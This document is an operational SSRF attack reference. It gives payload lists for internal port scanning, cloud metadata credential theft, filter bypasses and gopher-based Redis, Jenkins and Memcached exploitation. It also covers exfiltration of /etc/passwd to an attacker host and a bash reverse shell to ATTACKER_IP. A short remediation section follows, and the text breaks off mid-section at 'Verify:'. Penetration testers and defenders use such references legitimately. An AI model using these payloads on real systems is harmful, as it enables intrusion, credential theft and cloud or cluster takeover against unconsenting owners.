A complete operational reference for Server-Side Request Forgery (SSRF) covering detection, internal network probing, cloud metadata exploitation, blind SSRF, protocol smuggling, filter bypass, SSRF-to-RCE chains, automation with tools, and remediation. Mapped to MITRE ATT&CK T1190 / T1083 / T1552.
1. Core Concepts & SSRF Types
SSRF TAXONOMY:
SERVER-SIDE REQUEST FORGERY
├── IN-BAND (response returned to attacker)
│ ├── Basic — full response body returned in HTTP response
│ └── Partial — redirect followed, or subset of response leaked
│
├── BLIND (no direct response returned)
│ ├── Time-based — observe delay to infer open/closed port
│ └── Out-of-Band (OOB) — DNS/HTTP callback to attacker-controlled server
│
└── SEMI-BLIND
└── Error-based — server returns different errors for open vs closed ports
Key Terms:
- SSRF — The server makes an HTTP (or other protocol) request on behalf of the attacker to a target the attacker specifies. The target is typically internal or otherwise unreachable by the attacker directly.
- IMDSv1 / IMDSv2 — Instance Metadata Service versions for AWS EC2. IMDSv1 requires no auth (deprecated but still enabled on many instances). IMDSv2 requires a token fetched via PUT.
- 169.254.169.254 — The link-local IP address used by cloud provider metadata endpoints (AWS, GCP, Azure, Alibaba).
- localhost / 127.0.0.1 / ::1 — Loopback addresses — target internal services on the server itself.
- 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 — RFC1918 private IP ranges — target internal network hosts.
- DNS Rebinding — Attacker's DNS record resolves to an allowed domain during the check, then rebinds to an internal IP when the actual request is made — bypasses allowlist.
- OOB — Out-of-Band — no SSRF response visible, but a DNS or HTTP callback to an attacker-controlled server confirms the request was made.
- TOCTOU — Time-of-check vs Time-of-use — DNS rebinding exploits the race between DNS resolution for allowlist check and the actual request.
Why It Happens: The application takes a URL or hostname from user input and makes a server-side request without validating that the target is safe:
# Python / Flask — VULNERABLE:
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/fetch')
def fetch():
url = request.args.get('url')
resp = requests.get(url) # attacker controls url → SSRF
return resp.text
# SAFE:
ALLOWED_HOSTS = ['api.trusted.com', 'cdn.trusted.com']
@app.route('/fetch')
def fetch():
url = request.args.get('url')
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
return "Blocked", 403
resp = requests.get(url)
return resp.text
// Node.js — VULNERABLE:
app.get('/fetch', async (req, res) => {
const url = req.query.url;
const response = await fetch(url); // attacker controls url → SSRF
res.send(await response.text());
});
SSRF vs Related Attacks:
- SSRF — Server makes a request to attacker-specified target. Targets internal services.
- CSRF — Browser makes a request cross-site using victim's session. Targets authenticated actions.
- Open Redirect — Server redirects user to attacker-specified URL. Primarily client-side phishing.
- Request Smuggling — Desync between front-end and back-end HTTP parsing. Different protocol-level attack.
2. Detection & Injection Points
2.1 Common SSRF Injection Points
→ URL parameters: GET /fetch?url=https://example.com
→ Webhook / callback URLs: POST /api/webhook {url: "https://attacker.com"}
→ File import by URL: Import CSV/XML/JSON from remote URL
→ PDF / Screenshot gen: URL passed to headless Chrome, wkhtmltopdf, Puppeteer
→ Image / avatar by URL: Profile pic pulled from a URL you supply
→ XML external entities: DOCTYPE referencing external URL (XXE → SSRF)
→ OAuth redirect_uri: If server fetches the redirect URI
→ CORS origin validation: Origin header reflected and fetched in some frameworks
→ "Proxy" / "preview" endpoints: /proxy?url=, /preview?src=, /render?page=
→ Integrations / import: Slack/Zapier-style webhook, RSS/Atom feed readers
→ DNS / email lookup: "Validate email by pinging MX record" features
→ Server-side includes: SSI directives that accept external URLs
→ Archive extraction: Zip bomb / symlink — file within zip that is a URL
→ GraphQL: URL field inside mutation/query argument
→ IP / domain validation: "Check if domain is alive" features
→ PDF to image conversion: Server converts remote PDF at user-supplied URL
→ Health check endpoints: Internal /health?target= ping features
2.2 Parameter Names That Often Accept URLs
url, uri, src, source, href, link, redirect, next, return,
goto, target, host, dest, destination, window, path, feed,
fetch, load, proxy, request, endpoint, domain, site, page,
file, document, callback, webhook, ref, referrer, origin,
image, img, picture, avatar, logo, icon, data, resource
2.3 Black-Box Detection Methodology
1. Identify all parameters that accept URLs, IPs, or domain names.
2. Replace the value with your Burp Collaborator / interactsh domain.
3. If the server makes a DNS lookup or HTTP request to your domain → SSRF confirmed.
4. If no callback: attempt to access http://127.0.0.1/ and observe:
- Different response body / length → in-band SSRF
- Different HTTP status code → semi-blind SSRF
- Different response time → potential time-based SSRF
5. Try http://169.254.169.254/latest/meta-data/ for cloud metadata access.
3. Basic Probing & Confirmation
3.1 Loopback & Localhost Probes
# Basic loopback — hit services on the server itself:
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/ # IPv6 loopback
http://127.0.0.1:22/ # SSH
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:5432/ # PostgreSQL
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:8080/ # Alternate HTTP
http://127.0.0.1:8443/ # Alternate HTTPS
http://127.0.0.1:4848/ # GlassFish admin
http://127.0.0.1:7001/ # WebLogic admin
http://127.0.0.1:9090/ # Prometheus / generic admin
http://127.0.0.1:8161/ # ActiveMQ admin
http://127.0.0.1:61616/ # ActiveMQ broker
http://127.0.0.1:2181/ # ZooKeeper
http://127.0.0.1:11211/ # Memcached
3.2 Confirming In-Band SSRF
# If the response body is reflected:
# → Internal service banner / page source visible in response → confirmed in-band SSRF
# Set up a listener to confirm outbound request:
nc -lvnp 80
python3 -m http.server 80
# Check if server fetches:
http://YOUR_IP:80/ssrf-test
3.3 Port Scanning via SSRF
# Use SSRF to detect open ports — observe response differences:
# Open port: fast response / specific banner / 200 OK
# Closed port: connection refused / RST / timeout
# Filtered: timeout (longer delay)
# Common internal service ports to probe:
21 FTP
22 SSH
23 Telnet
25 SMTP
80 HTTP
110 POP3
143 IMAP
443 HTTPS
445 SMB
3306 MySQL
5432 PostgreSQL
5900 VNC
6379 Redis
8080 HTTP-alt
8443 HTTPS-alt
8888 Jupyter / misc
9200 Elasticsearch
27017 MongoDB
3.4 Reading Local Files via file:// Scheme
# If file:// scheme is allowed (less common but high impact):
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/net/tcp # open TCP connections (hex)
file:///var/www/html/index.php # app source
file:///app/config.py # Python config
file:///home/ubuntu/.ssh/id_rsa # SSH private key
file:///root/.ssh/id_rsa
file:///etc/nginx/nginx.conf
file:///etc/apache2/apache2.conf
file:///var/log/nginx/access.log
4. Internal Network Enumeration
4.1 RFC1918 Range Scanning
# Common internal IP ranges to probe:
http://10.0.0.1/ # typical gateway
http://10.0.0.2/
http://172.16.0.1/
http://172.31.0.1/ # AWS default VPC
http://192.168.0.1/
http://192.168.1.1/
# Subnet sweep — use Burp Intruder or ffuf with IP list:
# Generate IP list:
python3 -c "
for i in range(1, 255):
print(f'http://10.0.0.{i}/')
" > ips.txt
ffuf -u "https://target.com/fetch?url=FUZZ" \
-w ips.txt \
-fs 0 \ # filter by response size
-v
4.2 Internal Service Fingerprinting
# Common internal paths to identify services:
# Web servers:
http://INTERNAL_IP/
http://INTERNAL_IP/index.php
http://INTERNAL_IP/index.html
http://INTERNAL_IP/robots.txt
http://INTERNAL_IP/server-status # Apache
http://INTERNAL_IP/server-info # Apache
http://INTERNAL_IP/nginx_status # Nginx
# Admin panels:
http://INTERNAL_IP/admin/
http://INTERNAL_IP/manager/html # Tomcat
http://INTERNAL_IP/phpmyadmin/
http://INTERNAL_IP/wp-admin/
http://INTERNAL_IP/console # Jetty / JBoss
http://INTERNAL_IP/adminconsole # JBoss
http://INTERNAL_IP:4848/ # GlassFish
http://INTERNAL_IP:7001/console # WebLogic
http://INTERNAL_IP:8161/admin/ # ActiveMQ
# Monitoring / observability:
http://INTERNAL_IP:9090/ # Prometheus
http://INTERNAL_IP:9090/api/v1/query?query=up
http://INTERNAL_IP:3000/ # Grafana
http://INTERNAL_IP:5601/ # Kibana
http://INTERNAL_IP:8888/ # Jupyter Notebook
# Kubernetes & service mesh:
http://10.0.0.1:10250/pods # Kubelet API
http://10.0.0.1:10255/pods # Kubelet read-only
http://10.0.0.1:8001/ # kubectl proxy
http://10.0.0.1:2379/v2/keys/ # etcd (Kubernetes secrets)
http://10.0.0.1:2379/v3/keys/
4.3 Kubernetes & Container-Specific Probes
# Kubernetes service account token & API:
http://10.96.0.1/api/v1/namespaces/default/secrets # K8s secrets via API server
# Kubernetes environment variables (exposed via /proc):
file:///proc/self/environ
# Docker daemon (if exposed):
http://127.0.0.1:2375/info # Docker API (unauthenticated)
http://127.0.0.1:2375/v1.41/containers/json
http://127.0.0.1:2376/info # Docker API (TLS)
# Default service DNS in K8s:
http://kubernetes.default.svc.cluster.local/api/
http://etcd.kube-system.svc.cluster.local:2379/
5. Cloud Metadata Exploitation
5.1 AWS — IMDSv1 (No Auth Required)
# Root endpoint:
http://169.254.169.254/latest/meta-data/
# Critical data to extract:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → Lists IAM role name attached to the instance
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# → Returns temporary AWS credentials:
# {
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "Token": "...", ← session token
# "Expiration": "..."
# }
# Other useful metadata:
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/public-hostname
http://169.254.169.254/latest/meta-data/placement/region
http://169.254.169.254/latest/meta-data/placement/availability-zone
http://169.254.169.254/latest/meta-data/security-groups
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/network/interfaces/macs/MAC/vpc-id
http://169.254.169.254/latest/meta-data/network/interfaces/macs/MAC/subnet-id
# User data (often contains startup scripts with hardcoded creds):
http://169.254.169.254/latest/user-data
5.2 AWS — IMDSv2 (Token Required — 2 Requests)
# IMDSv2 requires a PUT to get a token first, then GET with that token.
# Some SSRF scenarios allow HTTP header injection to smuggle the PUT:
# Step 1 — If you can make arbitrary HTTP requests (gopher:// or custom headers):
# PUT http://169.254.169.254/latest/api/token
# Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# → Returns token string
# Step 2 — GET with token:
# GET http://169.254.169.254/latest/meta-data/
# Header: X-aws-ec2-metadata-token: <TOKEN>
# Note: IMDSv1 is still enabled by default on many older instances even when IMDSv2 is
# also enabled ("optional" vs "required" mode). Always try IMDSv1 first.
5.3 Using Stolen AWS Credentials
# After stealing credentials via SSRF:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Verify identity:
aws sts get-caller-identity
# List S3 buckets:
aws s3 ls
# List secrets:
aws secretsmanager list-secrets
# Get a secret:
aws secretsmanager get-secret-value --secret-id SECRET_NAME
# List EC2 instances:
aws ec2 describe-instances --region us-east-1
# Check IAM permissions:
aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam get-role-policy --role-name ROLE_NAME --policy-name POLICY_NAME
5.4 GCP — Metadata Endpoint
# GCP requires the header: Metadata-Flavor: Google
# Only exploitable if SSRF allows custom headers OR the framework forwards them.
# Root:
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# Service account token (OAuth2):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# → Returns access_token (Bearer token for GCP APIs)
# Service account email:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
# Project ID:
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Instance attributes (may contain secrets injected at creation):
http://metadata.google.internal/computeMetadata/v1/instance/attributes/
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
# All instance metadata:
http://metadata.google.internal/computeMetadata/v1/?recursive=true
5.5 Azure — IMDS
# Azure IMDS requires header: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# → JSON: subscriptionId, resourceGroupName, vmId, location, tags, etc.
# Managed Identity token:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# → Returns access_token
# Environment:
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
5.6 Alibaba Cloud — Metadata
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/region-id
5.7 DigitalOcean — Metadata
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
6. Blind SSRF & OOB Exfiltration
6.1 Setting Up OOB Infrastructure
# interactsh (free, open source):
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# → Unique domain: xxxx.oast.fun → use in SSRF payloads
# Burp Collaborator (Pro):
# Burp → Project options → Misc → Burp Collaborator
# Generate: xxxx.oastify.com → check for DNS and HTTP callbacks
# Custom listener:
nc -lvnp 80 # HTTP callback
nc -lvnp 53 -u # DNS (raw, limited)
python3 -m http.server 80
6.2 DNS OOB Confirmation
# If the SSRF parameter accepts a URL:
http://YOUR-COLLABORATOR-DOMAIN/
http://YOUR-COLLABORATOR-DOMAIN/ssrf-test
# If the parameter only accepts a hostname (no scheme):
YOUR-COLLABORATOR-DOMAIN
# DNS callback confirms SSRF even when there's no HTTP response —
# proves the server resolved the domain (made outbound DNS lookup).
# Test via curl (simulating what SSRF would do):
curl -v http://ATTACKER-DOMAIN/ssrf-test
# Watch DNS server for A record query from target's IP
6.3 Blind SSRF — Port Detection via Timing
# Open port: fast connection → response OR connection refused quickly
# Closed port: RST → fast negative
# Filtered: firewall DROP → timeout (slow, e.g. 30s)
# Use Burp Intruder with timing extension:
# Payload: http://10.0.0.X:PORT/
# Measure response time — outliers indicate filtered or open ports
# Alternatively, use ffuf with timeout flags:
ffuf -u "https://target.com/fetch?url=http://10.0.0.1:FUZZ/" \
-w ports.txt \
-timeout 5 \
-v
6.4 OOB Data Exfiltration (Blind)
# If you have partial RCE or can control query parameters passed in the fetch:
# Subdomain exfil (data in DNS label):
http://`whoami`.ATTACKER-DOMAIN/
http://$(cat /etc/hostname).ATTACKER-DOMAIN/
# HTTP GET exfil:
http://ATTACKER-IP/?data=$(cat /etc/passwd | base64 -w0)
# These require the SSRF to support http:// and the server to resolve DNS
# OR the SSRF to be chained with another vuln (SSTI, command injection, etc.)
7. Protocol Smuggling & Scheme Abuse
7.1 Supported Schemes Overview
http:// Standard HTTP
https:// HTTPS
file:// Local file read (if allowed)
ftp:// FTP (legacy — uncommon)
gopher:// TCP socket (powerful — arbitrary bytes to any port)
dict:// Dictionary protocol — can probe internal services
sftp:// SFTP (unusual — can cause auth attempts)
tftp:// UDP TFTP
ldap:// LDAP (can trigger JNDI lookup in Java = Log4Shell-style)
7.2 Gopher:// — Arbitrary TCP Payload
# gopher:// lets you send raw bytes to any host:port.
# Syntax: gopher://HOST:PORT/_<URL-encoded-payload>
# Send HTTP request to internal service:
gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0a
# Interact with Redis (set a cron reverse shell):
gopher://127.0.0.1:6379/_%2A1%0d%0a%248%0d%0aflushall%0d%0a
# (URL-decoded: *1\r\n$8\r\nflushall\r\n)
# Full Redis payload to write SSH key (URL-encode all \r\n):
# 1. FLUSHALL
# 2. SET key "\n\n\nssh-rsa AAAA...ATTACKER_PUB_KEY\n\n\n"
# 3. CONFIG SET dir /root/.ssh/
# 4. CONFIG SET dbfilename authorized_keys
# 5. SAVE
# → Use gopherus tool to auto-generate these payloads
# MySQL (unauthenticated, no password):
gopher://127.0.0.1:3306/_<MySQL_client_handshake_payload>
# → Use gopherus to generate
# SMTP relay (send email from internal server):
gopher://127.0.0.1:25/_EHLO%20attacker%0d%0aMAIL%20FROM...
7.3 dict:// — Service Probing
# dict:// queries a dictionary server; useful for probing ports
dict://127.0.0.1:22/
# → SSH banner returned if port is open
dict://127.0.0.1:6379/info
# → Redis INFO if Redis is listening
dict://127.0.0.1:11211/stats
# → Memcached stats
7.4 SSRF via XXE (XML External Entity)
<!-- If the application parses user-supplied XML, XXE can be used to trigger SSRF -->
<!-- Basic XXE SSRF — internal service fetch: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>
<!-- file:// via XXE: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
<!-- Blind XXE SSRF (OOB): -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ATTACKER-IP/xxe.dtd">
%xxe;
]>
<data>test</data>
<!-- xxe.dtd on attacker server: -->
<!-- <!ENTITY % data SYSTEM "file:///etc/passwd"> -->
<!-- <!ENTITY % out "<!ENTITY exfil SYSTEM 'http://ATTACKER-IP/?d=%data;'>"> -->
<!-- %out; %exfil; -->
8. SSRF Filter Bypass Techniques
8.1 IP Address Encoding Bypass
# Standard blocklist target: http://127.0.0.1/
# Decimal encoding:
http://2130706433/ # 127.0.0.1 as 32-bit int
http://0x7f000001/ # 127.0.0.1 in hex
http://0177.0.0.1/ # 127 in octal + dotted
# Octal encoding:
http://0177.0.0.01/
http://00177.00.00.01/
# Mixed encoding:
http://0x7f.0.0.1/
http://0x7f.0x0.0x0.0x1/
# URL encoding:
http://%31%32%37%2e%30%2e%30%2e%31/ # 127.0.0.1 URL-encoded
# IPv6:
http://[::1]/
http://[0000::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:0001]/ # 127.0.0.1 mapped in IPv6
# IPv6 shorthand:
http://[::]/ # all-zeros = 0.0.0.0
http://[::1]/ # loopback
8.2 Domain-Based Bypass
# Use domains that resolve to 127.0.0.1 / internal IPs:
http://localtest.me/ # publicly registered, resolves to 127.0.0.1
http://127.0.0.1.nip.io/ # wildcard DNS → any IP
http://127.0.0.1.xip.io/ # same
http://10.0.0.1.nip.io/ # resolves to 10.0.0.1
http://spoofed.burpcollaborator.net/ # Burp DNS that resolves to 127.0.0.1
# Attacker-controlled domain pointing to internal IP:
# → Set A record of attacker.com to 192.168.1.1
# → If allowlist only checks domain name (not resolved IP) → bypass
8.3 URL Parser Confusion / Smuggling
# Bypass scheme-based blocklists:
http://evil.com@127.0.0.1/ # Userinfo confusion — host is 127.0.0.1
http://127.0.0.1#@evil.com/ # Fragment-based confusion
http://127.0.0.1?.evil.com/ # Query-based confusion
http://evil.com\@127.0.0.1/ # Backslash — browsers & parsers differ
http:127.0.0.1/ # Schemeless confusion (no double slash)
http:///127.0.0.1/ # Triple-slash confusion
# Protocol confusion:
https://127.0.0.1/ # Try HTTPS if HTTP is blocked
HTTPS://127.0.0.1/ # Case variation
Http://127.0.0.1/
# Path traversal after allowed host:
http://allowed-host.com/../../internal-host/path
# Redirect-based bypass:
# If server follows redirects, host your own redirect:
# http://attacker.com/redirect → 302 to http://169.254.169.254/
# Server follows the redirect and hits metadata endpoint
8.4 DNS Rebinding
# How it works:
# 1. Your domain "rebind.attacker.com" initially resolves to a legit IP
# 2. Application fetches the URL, DNS check passes (legit IP)
# 3. TTL expires quickly (0 seconds)
# 4. Second resolution returns 127.0.0.1 or internal IP
# 5. Server-side re-fetches and hits internal service
# Tools:
# singularity DNS rebinding: https://github.com/nccgroup/singularity
# rbndr.us: free online DNS rebinding service — rbndr.us?LEGIT_IP&TARGET_IP
# Practical setup with rbndr.us:
# 7f000001.c0a80101.rbndr.us → alternates between 127.0.0.1 and 192.168.1.1
8.5 Case Variation & Encoding
# Mixed case schemes:
HTTP://127.0.0.1/
HtTp://127.0.0.1/
# URL double-encoding:
http://%25%32%66%25%32%66127.0.0.1/ # double-encoded //
# Unicode / fullwidth characters (parser-dependent):
http://①②⑦.⓪.⓪.①/ # circled digits
http://127。0。0。1/ # fullwidth digits and dots (Japanese CJK)
8.6 Open Redirect Chaining
# If target.com has an open redirect at /redirect?url=:
http://target.com/redirect?url=http://169.254.169.254/
# The SSRF fetches target.com (allowed), which redirects to metadata endpoint.
# If the SSRF implementation follows redirects (most do) → bypass.
# Find open redirects:
# /redirect?url=http://evil.com
# /out?link=http://evil.com
# /goto?dest=http://evil.com
9. SSRF to RCE Chains
9.1 SSRF → Redis → RCE (via gopher://)
# Prerequisite: Redis running on 127.0.0.1:6379, no auth
# Use gopherus to generate gopher payload:
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
python2 gopherus.py --exploit redis
# Option 1: Write SSH key to root's authorized_keys:
# → Enter: /root/.ssh/ as Redis dir, authorized_keys as filename
# → Paste your public key
# Gopherus outputs: gopher://127.0.0.1:6379/_...
# Feed this to the SSRF parameter → SSH as root
# Option 2: Write PHP webshell:
# → Enter /var/www/html/ as dir, shell.php as filename
# → Payload: <?php system($_GET['cmd']); ?>
# → Access https://target.com/shell.php?cmd=id
# Manual Redis commands via gopher:// (URL-encode \r\n as %0d%0a):
gopher://127.0.0.1:6379/_%2A3%0d%0a%243%0d%0aSET%0d%0a%241%0d%0a1%0d%0a%2431%0d%0a%0a%0a%0assh-rsa%20AAAA...%0a%0a%0a%0d%0a
9.2 SSRF → Elasticsearch → Data Exfil
# Elasticsearch API (no auth on older versions):
http://127.0.0.1:9200/
http://127.0.0.1:9200/_cat/indices?v # list all indices
http://127.0.0.1:9200/_cat/nodes?v # nodes info
http://127.0.0.1:9200/INDEX_NAME/_search # dump index data
http://127.0.0.1:9200/INDEX_NAME/_search?size=10000 # dump more
http://127.0.0.1:9200/_cluster/settings # cluster config
http://127.0.0.1:9200/_nodes # node details
9.3 SSRF → Kubernetes API → Cluster Takeover
# If the app is inside a K8s pod with a service account:
# Service account token:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# K8s API (using the in-cluster DNS):
http://kubernetes.default.svc.cluster.local/api/v1/namespaces/
http://kubernetes.default.svc.cluster.local/api/v1/secrets/
# If SSRF returns the response, extract the SA token from /var/run/... and
# use it to authenticate directly to the K8s API from the attacker machine:
curl -H "Authorization: Bearer STOLEN_TOKEN" \
https://k8s-api-server:6443/api/v1/secrets/ \
--insecure
9.4 SSRF → Jenkins → RCE
# Jenkins internal script console (no auth on some installs):
http://127.0.0.1:8080/script
# If in-band SSRF with POST (gopher://):
# POST to /script with groovy payload:
# println("id".execute().text)
# or reverse shell via:
# def proc = ["bash","-c","bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()
# Jenkins CLI (port 50000):
# Can be abused for SSRF to trigger Groovy execution
9.5 SSRF → Memcached → Cache Poisoning
# Memcached protocol (plain text) via gopher://:
gopher://127.0.0.1:11211/_%73%65%74%20%73%65%73%73%69%6f%6e%3a...
# (set session:ADMIN_SESSION_ID 0 3600 <len>\r\n<serialized_admin_obj>)
# Useful for session hijacking if app stores sessions in Memcached
9.6 SSRF → SSRF Escalation Paths Summary
SSRF → Cloud Metadata → Steal IAM credentials → AWS account takeover
SSRF → Redis (gopher) → Write SSH key / cron → OS RCE
SSRF → Elasticsearch → Dump all indices → Data breach
SSRF → Kubernetes API → Read secrets / deploy → Cluster takeover
SSRF → Jenkins console → Groovy RCE → CI/CD takeover
SSRF → Memcached → Poison sessions → Auth bypass
SSRF → SMTP → Send phishing emails → Pivoting
SSRF → Internal admin → Unauthenticated panel → Application takeover
SSRF → File read → Source code / keys → Further exploitation
10. Automation — Tools & Wordlists
10.1 SSRFire / SSRFmap
# SSRFmap — automated SSRF detection and exploitation:
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip3 install -r requirements.txt
# Basic scan with Burp-style request file:
python3 ssrfmap.py -r request.txt -p url
# Specify module (exploit):
python3 ssrfmap.py -r request.txt -p url -m readfiles
python3 ssrfmap.py -r request.txt -p url -m redis
python3 ssrfmap.py -r request.txt -p url -m networkscan
python3 ssrfmap.py -r request.txt -p url -m portscan
python3 ssrfmap.py -r request.txt -p url -m aws
# Available modules:
# readfiles, alibaba, aws, gcp, docker, etcd, jenkins,
# networkscan, portscan, redis, zabbix, axis2, struts2
10.2 Gopherus — Gopher Payload Generator
# Generate gopher:// payloads for SSRF exploitation:
git clone https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit redis # Redis RCE
python2 gopherus.py --exploit mysql # MySQL (no auth)
python2 gopherus.py --exploit smtp # SMTP relay
python2 gopherus.py --exploit fastcgi # FastCGI PHP-FPM RCE
python2 gopherus.py --exploit memcache # Memcached injection
python2 gopherus.py --exploit zabbix # Zabbix RCE
10.3 Burp Suite — Manual SSRF Testing
1. Identify parameters that accept URLs — Send to Repeater.
2. Replace value with Burp Collaborator URL:
https://YOUR_ID.oastify.com/ssrf-test
3. Check Collaborator for DNS/HTTP callbacks → SSRF confirmed.
4. Escalate: try internal IPs, metadata endpoints.
Burp Active Scanner:
- Right-click request → Scan → Checks for SSRF automatically
- Enable Collaborator for blind SSRF detection
Burp Intruder for port scanning:
- Attack type: Sniper → §PORT§ in URL
- Payload: numbers 1–65535 (or common ports list)
- Grep match / response time for hit detection
10.4 ffuf — Internal IP/Port Scanning
# IP sweep:
ffuf -u "https://target.com/fetch?url=http://10.0.0.FUZZ/" \
-w <(seq 1 254) \
-fw 0 \
-v
# Port scan:
ffuf -u "https://target.com/fetch?url=http://127.0.0.1:FUZZ/" \
-w /usr/share/seclists/Fuzzing/ports.txt \
-fw 0 \
-timeout 3 \
-v
# Cloud metadata endpoints:
ffuf -u "https://target.com/fetch?url=FUZZ" \
-w /usr/share/seclists/Fuzzing/SSRF/SSRF-server-side-request-forgery.txt \
-fw 0 \
-v
10.5 Nuclei Templates
# SSRF-specific templates:
nuclei -u https://target.com \
-t nuclei-templates/vulnerabilities/generic/ssrf.yaml \
-v
nuclei -u https://target.com \
-t nuclei-templates/ \
-tags ssrf \
-v
# With Interactsh for blind SSRF:
nuclei -u https://target.com \
-tags ssrf \
-interactsh-server https://oast.fun \
-v
10.6 Useful SecLists
# SSRF payload wordlists:
/usr/share/seclists/Fuzzing/SSRF/SSRF-server-side-request-forgery.txt
/usr/share/seclists/Fuzzing/SSRF/SSRF-we-will-filter-your-slashes.txt
/usr/share/seclists/Discovery/SSRF/
/usr/share/seclists/Fuzzing/cloud-metadata.txt
# Internal IP ranges:
python3 -c "
import ipaddress
for ip in ipaddress.ip_network('10.0.0.0/24').hosts():
print(f'http://{ip}/')
" > internal_10.txt
11. Remediation
11.1 Primary Control — Allowlist, Not Blocklist
# ── WRONG — blocklist approach ──
def fetch(url):
blocked = ['169.254.169.254', '127.0.0.1', 'localhost']
parsed = urlparse(url)
if any(b in parsed.hostname for b in blocked):
raise ValueError("Blocked")
return requests.get(url)
# Bypassable with: http://127.1/, http://0x7f000001/, DNS rebinding, etc.
# ── SAFE — allowlist approach ──
ALLOWED_HOSTS = {'api.partner.com', 'cdn.example.com'}
def fetch(url):
from urllib.parse import urlparse
import socket
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
raise ValueError("Scheme not allowed")
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Host not allowed")
# Resolve DNS and verify the IP is not private:
ip = socket.gethostbyname(parsed.hostname)
import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local:
raise ValueError("Resolved to private IP — DNS rebinding detected")
return requests.get(url)
11.2 Block Private IP Ranges at the Network Level
# Deny outbound from app servers to RFC1918 / link-local ranges at firewall:
# Block: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
# Block: 169.254.0.0/16 (link-local — cloud metadata)
# Block: 127.0.0.0/8 (loopback)
# Block: ::1/128 (IPv6 loopback)
# Block: fd00::/8 (IPv6 ULA — private)
# Allow: only required external IP ranges
# AWS Security Groups / VPC NACLs:
# Add outbound rule: DENY to 169.254.169.254/32
# IMDSv2 enforcement (AWS):
aws ec2 modify-instance-metadata-options \
--instance-id INSTANCE_ID \
--http-tokens required \
--http-put-response-hop-limit 1
11.3 Use a Dedicated Egress Proxy
# Route all server-initiated outbound HTTP through an egress proxy
# that enforces allowlisting centrally:
import requests
EGRESS_PROXY = "http://internal-egress-proxy:8080"
proxies = {
'http': EGRESS_PROXY,
'https': EGRESS_PROXY,
}
# All server-side fetches go through the proxy:
resp = requests.get(user_supplied_url, proxies=proxies)
# The proxy enforces:
# - Allowlisted destination domains/IPs only
# - No RFC1918 or metadata IPs
# - Rate limiting
# - Logging
11.4 Disable Unused Schemes
# Allow only http:// and https://; block file://, gopher://, dict://, etc.
from urllib.parse import urlparse
ALLOWED_SCHEMES = {'http', 'https'}
def validate_url(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"Scheme '{parsed.scheme}' not allowed")
return url
11.5 Don't Return Full Responses to the Client
# If the server must make outbound requests, return only the needed subset
# — not the raw response body. This limits SSRF impact even if the URL
# validation is bypassed.
# WRONG — returns full response (including internal service content):
resp = requests.get(user_url)
return resp.text
# SAFER — validate and return only expected fields:
resp = requests.get(validated_url)
data = resp.json()
return {"title": data.get("title", ""), "body": data.get("body", "")}
# Even if SSRF is triggered, attacker sees only whitelisted fields
11.6 Enforce IMDSv2 on AWS
# Require IMDSv2 — blocks SSRF access to metadata without a PUT-based token:
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled \
--http-put-response-hop-limit 1
# Verify:
